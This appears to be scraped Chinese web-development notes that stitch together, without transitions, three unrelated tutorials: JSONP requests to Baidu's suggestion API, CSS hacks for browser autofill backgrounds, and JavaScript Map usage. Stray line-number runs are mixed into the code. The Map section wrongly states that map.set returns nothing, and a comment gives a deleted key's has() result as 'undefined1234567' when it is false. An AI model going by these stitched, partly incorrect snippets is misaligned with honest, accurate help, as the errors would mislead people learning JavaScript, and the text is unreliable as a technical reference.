由于浏览器的同源策略限制，一般情况下只能在同域名、同协议、同端口下进行 AJAX 请求。而 JSONP 利用了动态创建script标签不受同源策略的限制，因此可以实现跨域请求。但是，需要注意的是 JSONP 也有安全性问题，因为它依赖于服务端返回的 JavaScript 代码，因此需要确保接口的可信度。

总之，JSONP 只适用于特定的接口，而不是适用于所有请求文件。如果接口不支持回调函数或者跨域请求，那么就不能使用 JSONP 技术。

基础就这些，，，进入正题：

先上百度接口 https://sp0.baidu.com/5a1Fazu8AA54nxGko9WTAnF6hhy/su?wd=

wd 为搜索关键词，

cb 比较特殊，是 提前为 回调函数 定义好的 缩写，作为查询字符串的 键值。此时 直接返回自定义函数名 fn。

 若 不使用 cb 作为 回调函数的 键名，比如设定为 callBack，此时返回的是 挂载在window上的baidu对象中的sug方法。（如下），

通过此种方式等同于直接引入一个js模块（同cdn引入第三方库），该文件的js代码相当于直接插入到当前文件，当然可以执行其中的代码。

接口分析：目前接口中是一个 执行语句。调用了一个函数，（自定义函数fn、或者是window.baidu对象中的sug方法），给该函数 传递 了一个 对象 作为 实参。也就是说，通过src直接在当前文件中插入了 一个执行语句（携带有实参的函数）。

若 script标签 还没有返回 接口提供的 js执行语句，该函数不会被执行。也就是说，在 渲染data 之前，加工数据的执行语句 会一直 等待执行。。。。

1
2
3
4
5
6
7

//针对于cb回调：

//声明 回调函数 fn
      
function fn(data) {
    console.log(data.s);
}

1
2
3
4
5
6
7
8
9

//针对于 callBack：

//声明 回调函数（与返回函数相对应，window.baidu对象的sug方法）

window.baidu = {
    sug: function (data) {
        console.log(data.s);
    }
}

下面是 主要代码：

1
2
3
4
5
6
7
8
9
10
11
12

let searchEle = document.getElementById('search');
searchEle.addEventListener('input', function () {
    scriptFn(this.value, 'fn');
});

function scriptFn(value, callBack) {
    // append()无法将字符串解析为dom节点，使用append添加节点，不能使用将script标签放入``反义字符串中
    let scriptEle = document.createElement('script');
    scriptEle.src = 'https://sp0.baidu.com/5a1Fazu8AA54nxGko9WTAnF6hhy/su?wd=' + value + '&cb=' + callBack;
    document.body.append(scriptEle);
};

console.log(data.s) 打印得到的数据：

在现代浏览器中，包括Chrome、Safari、Firefox等，都支持:autofill伪类，但在使用时必须加上浏览器前缀-webkit-，即:-webkit-autofill。

在旧版的浏览器中，可能不支持:autofill伪类，需要使用其他的hack方法来实现。同时，不同浏览器也可能对:-webkit-autofill的支持程度不同，需要根据实际情况来选择合适的hack方法。

经测试，貌似不用-webkit-autofill也可以。某些情境下可能需要使用 :-webkit-autofill伪类。具体情况，具体分析。【以下 方法中的 属性值 最好都加 “! important”，以绝后患！】

方法一:box-shadow

1
2
3
4
5
6
7
8
9
10

input:-webkit-autofill {
    color: transparent;
    background-clip: content-box;
    background-color: white;
    caret-color: black;
    /*光标设置为 黑色*/
/*上面根据具体情境 可选，box-shadow最重要！！*/
-webkit-box-shadow: 0 0 0 1000px white inset !important;
box-shadow: 0 0 0 1000px white inset !important;
}

方法二:-webkit-text-fill-color 和 transition: background-color 5000s ease-in-out 0s;

1
2
3
4
5

input {
    /*必须为background-color属性(即便这里没有设置background-color)、或all 加上 过渡效果，不然不会生效！！*/
-webkit-text-fill-color: #333333 !important;
transition: background-color 5000s ease-in-out 0s;
}

方法三:background-color 和 transition: background-color 5000s ease-in-out 0s;

1
2
3
4
5

input {
    /*必须为background-color属性、或all 加上 过渡效果，不然不会生效！！*/
  background-color: white !important;
  transition: background-color 5000s ease-in-out 0s;
}

啰嗦一下：

1
2
3
4
5
6
7

/* 三合一，遇到问题再调整 */
input:-webkit-autofill {
    box-shadow: 0 0 0 30px white inset !important;
    -webkit-text-fill-color: #333333 !important;
    background-color: white !important;
    transition: background-color 5000s ease-in-out 0s;
}

1
2
3
4
5
6

//写法1：
var m=new Map([['Michael',95],['Bob',75],['Tracy',85]]);
//写法2
var scoreList =[{name:'Tim',age:18,score:90},
                {name:'Tony',age:17,score:95},
                {name:'Kevin',age:18,score:91}];

如上为map的数据结构用 二维数组 表示的键值对

map结构常用方法：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

map.set(key,value)---->给map添加键值对元素，返回值类型为空类型
var m=new Map();//添加空的Map
m.set('Adam',67);//添加新的key-value
m.set("Bob",59);
console.log(m)// 结果 { 'Adam' => 67, 'Bob' => 59 }

map.has(key)--->检查map是否含有key，返回值类型为boolean类型
var m=new Map();//添加空的Map
m.set('Adam',67);//添加新的key-value
m.set("Bob",59);
console.log(m.has("Adam"))//true

map.delete(key)---->通过key删除元素
map.set(key,value)---->给map添加键值对元素，返回值类型为空类型
var m=new Map();//添加空的Map
m.set('Adam',67);//添加新的key-value
m.set("Bob",59);
m.delete("Bob")
console.log(m.has("Bob"));//undefined1234567

需要注意的:

由于一个key只能对应一个value，所以，多次对一个key放入value，后面的值会把前面的值覆盖：

1
2
3
4

var m =new Map();
m.set('Adam',67);
m.set('Adam',88);
console.log(m.get('Adam'));// 88

map拓展：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

<script>
    // map的声明
    let map = new Map();
    // map的赋值
    map.set('路飞', 20);
    map.set('索隆', 21);
    map.set('山治', 22);
    map.set('娜美', 23);
    // 输出map
    console.log(map);
    // 输出map的value
    console.log(map.get('山治'));
    // key不存在就是新增 key存在就是修改
    map.set('山治', 18);
    console.log(map.get('山治'));
    // map遍历
    // 一个参数遍历的是value值
    console.log('+++++++++++++++++++++++++');
    map.forEach(element => {
        console.log(element);
    });
    // 第一个参数是value值 第二个参数值是key
    console.log('+++++++++++++++++++++++++');
    map.forEach((v, k) => {
        console.log(k + '==>' + v);
    });
    console.log('+++++++++++++++++++++++++');
    // for of遍历出的是数组 然后读取数组元素的值拼接
    for (const array of map) {
        console.log(array[0], '==>', array[1]);
    }
</script>